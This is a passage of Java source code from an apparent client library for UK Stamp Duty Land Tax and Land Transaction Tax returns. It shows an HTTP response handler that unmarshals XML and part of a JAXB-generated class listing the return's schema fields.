Logger.getLogger(SDLTResponseHandler.class.getName()); @Override public T handleResponse(HttpResponse response) throws IOException { int status = response.getStatusLine().getStatusCode(); if ((status >= 200) && (status < 300)) { try { ContentType contentType = ContentType.getOrDefault(response.getEntity()); Charset charset = contentType.getCharset(); String responseContent = EntityUtils.toString(response.getEntity(), charset); LOGGER.log(Level.INFO, "Received: {0}", responseContent); SDLTResponse sdltResponse = SdltXmlHelper.getInstance().unmarshalResponseXml(IOUtils.toInputStream(responseContent, charset), SDLTResponse.class); for (Object obj : sdltResponse.getBody().getAny()) { LOGGER.log(Level.INFO, "Received: {0}", obj.getClass().getName()); try { return (T) obj; } catch (Throwable t) { //Ignore as may not be convertable into required type } } return null; } catch (JAXBException jaxbe) { throw new ClientProtocolException("Could not unmarshal XML: " + jaxbe.getMessage()); } } else { throw new ClientProtocolException("Sdlt Request was not successful: " + status + ":" + response.getStatusLine().getReasonPhrase()); } } } <file_sep>/target/generated-sources/jaxb/com/redmonkeysoftware/sdlt/model/request/sdlt/SDLT.java // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0 // See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.01.19 at 05:38:09 PM GMT // package com.redmonkeysoftware.sdlt.model.request.sdlt; import java.util.ArrayList; import java.util.List; import javax.xml.bind.JAXBElement; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElementRef; import javax.xml.bind.annotation.XmlElementRefs; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for SDLT complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="SDLT"&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="F_ID" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_Ref" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_DateCreated" type="{http://sdlt.co.uk/}DateTimeType"/&gt; * &lt;element name="F_UserNotes" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_FTBExemptionYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="F_ClosedOffYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="F_StampDutyPaidYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="F_ChequeNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_CountryCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_Confidential" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="F_UserID" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_UserIDs" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT_UTRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IRMark" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_SubmissionStatus" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_SubmissionInfo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="F_SubmissionDate" type="{http://sdlt.co.uk/}DateTimeType"/&gt; * &lt;element name="F_ReturnDate" type="{http://sdlt.co.uk/}DateTimeType"/&gt; * &lt;element name="F_SDLTID" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;element name="SDLT_PropertyTypeCode" type="{http://sdlt.co.uk/}EnumPropertyType"/&gt; * &lt;element name="SDLT_TransactionDescriptionCode" type="{http://sdlt.co.uk/}EnumTransactionType"/&gt; * &lt;element name="SDLT_InterestCreatedCode" type="{http://sdlt.co.uk/}EnumInterestType"/&gt; * &lt;element name="SDLT_InterestCreatedCodeDetailed" type="{http://sdlt.co.uk/}EnumInterest2Type"/&gt; * &lt;element name="SDLT_DateOfTransaction" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_AnyRestrictionsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_IfYesRestrictionDetails" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_DateOfContract" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_AnyLandExchangedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_IfYesExchangedPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesExchangedBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesExchangedAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesExchangedAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesExchangedAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesExchangedAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PursantToPreviousAgreementYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_ClaimingTaxReliefYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_IfYesTaxReliefReasonCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesTaxReliefCharityNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_IfYesTaxReliefAmount" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalConsiderationIncVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserTypeCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalConsiderationVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_ConsiderationFormCode1" type="{http://sdlt.co.uk/}ConsiderationCodeType"/&gt; * &lt;element name="SDLT_ConsiderationFormCode2" type="{http://sdlt.co.uk/}ConsiderationCodeType"/&gt; * &lt;element name="SDLT_ConsiderationFormCode3" type="{http://sdlt.co.uk/}ConsiderationCodeType"/&gt; * &lt;element name="SDLT_ConsiderationFormCode4" type="{http://sdlt.co.uk/}ConsiderationCodeType"/&gt; * &lt;element name="SDLT_TransactionLinkedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_IfYesTotalLinkedConsiderationIncVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalTaxDue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalTaxPaid" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalTaxPaidIncPenaltyYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_LeaseTypeCode" type="{http://sdlt.co.uk/}LeaseType"/&gt; * &lt;element name="SDLT_LeaseStartDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_LeaseEndDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_RentFreePeriod" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalAnnualRentIncVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_EndDateForStartingRent" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_LaterRentKnownYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_LeaseAmountVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalLeasePremiumPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_NetPresentValue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalLeasePremiumTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalLeaseNPVTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_NumberOfPropertiesIncluded" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PaperCertificateRemoved" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyTitleNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyNLPGUPRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyUnitsHectareMetres" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyAreaSize" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PropertyPlanAttachedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_TotalNumberOfVendors" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Title" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Surname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1FirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1FirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1AddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1AddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor1Address4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentFirmName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentDXNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentReference" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_VendorsAgentTelNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Title" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Surname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2FirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2FirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2AddressSameYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_Vendor2AddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2AddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Vendor2Address4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1NINumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1DoB" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT_Purchaser1VATRegNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1TaxRef" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1CompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1PlaceOfIssue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_TotalNumberOfPurchasers" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Title" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Surname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1FirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1FirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1AddressSameQ28YesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_Purchaser1AddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1AddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Address4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1Email" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1ActingAsTrusteeYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_Purchaser1TelNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserVendorConnectedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_PurchaserCertificateRemoved" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser1CorrespondenceToYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_PurchaserAgentFirmName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentDXNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentReference" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentTelNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_PurchaserAgentEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Title" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Surname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2FirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2FirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2AddressSameYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_Purchaser2AddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2AddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Address4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2Email" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT_Purchaser2ActingAsTrusteeYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT_NumberOfSDLT2s" type="{http://sdlt.co.uk/}IntegerOrEmptyType"/&gt; * &lt;element name="SDLT_NumberOfSDLT3s" type="{http://sdlt.co.uk/}IntegerOrEmptyType"/&gt; * &lt;element name="SDLT_NumberOfSDLT4s" type="{http://sdlt.co.uk/}IntegerOrEmptyType"/&gt; * &lt;element name="LTT_ReclaimingHigherRate" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TotalIncludeVAT" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_WRATaxOpinion" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_WRATaxOpinionNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PartOfOtherUK" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TaxPaymentMethod" type="{http://sdlt.co.uk/}TaxPaymentMethodType"/&gt; * &lt;element name="LTT_ReliefClaimedOnPart" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LinkedUTRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PartOfSaleBusiness" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_IncludeNotChargeable" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_MattersNotChargeable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_AmountOtherMatters" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_UncertainFutureEvents" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PayOnDeferredBasis" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_FurtherReturnPrevious" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PreviousReturnUTRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_FurtherReturnReason" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_TermSurrendered" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_RentPreviousLease" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_UnexpiredLeaseTerm" type="{http://sdlt.co.uk/}IntegerOrEmptyType"/&gt; * &lt;element name="LTT_BreakClauseType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_BreakClauseDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="LTT_LeaseConditions" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_ContainRentReview" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_RentReviewFrequency" type="{http://sdlt.co.uk/}IntegerOrEmptyType"/&gt; * &lt;element name="LTT_ReviewClause" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_FirstReview" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="LTT_LeaseServiceCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_ServiceChargeAmount" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_IsTenantToLandlord" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TenantToLandlord" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IsLandlordToTenant" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandlordToTenant" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_RentYear1" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_RentYear2" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_RentYear3" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_RentYear4" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_RentYear5" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_RelevantRent" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_HighestRent" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_LeaseBreakClause" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandSituation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandArgicultural" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_CrossTitle" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TotalConsideration" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_MineralsRights" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_NetPresentValue" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_IDType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IDTypeOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_UKCompany" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_CHNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LeaseTermYears" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_LandHasAddress" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_SellerHasAgent" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TotalNPVRentPayable" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_Vendor1IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor1Phone" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor1Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor1AgentCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor2IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor2Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Vendor2Phone" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser1IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser1Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser1AgentCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser1Certificate" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2DoB" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="LTT_Purchaser2CompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2IDType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2IDTypeOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2PlaceOfIssue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2UKCompany" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Purchaser2CHNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2VATRegNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2TaxRef" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2TelNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_Purchaser2VendorConnected" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Purchaser2NINumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="AP1_LeaseType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_LandlordTitle4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_TenantTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PropertyWholeOrPart" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendor2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchAgent1" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaserService" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchaserServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; 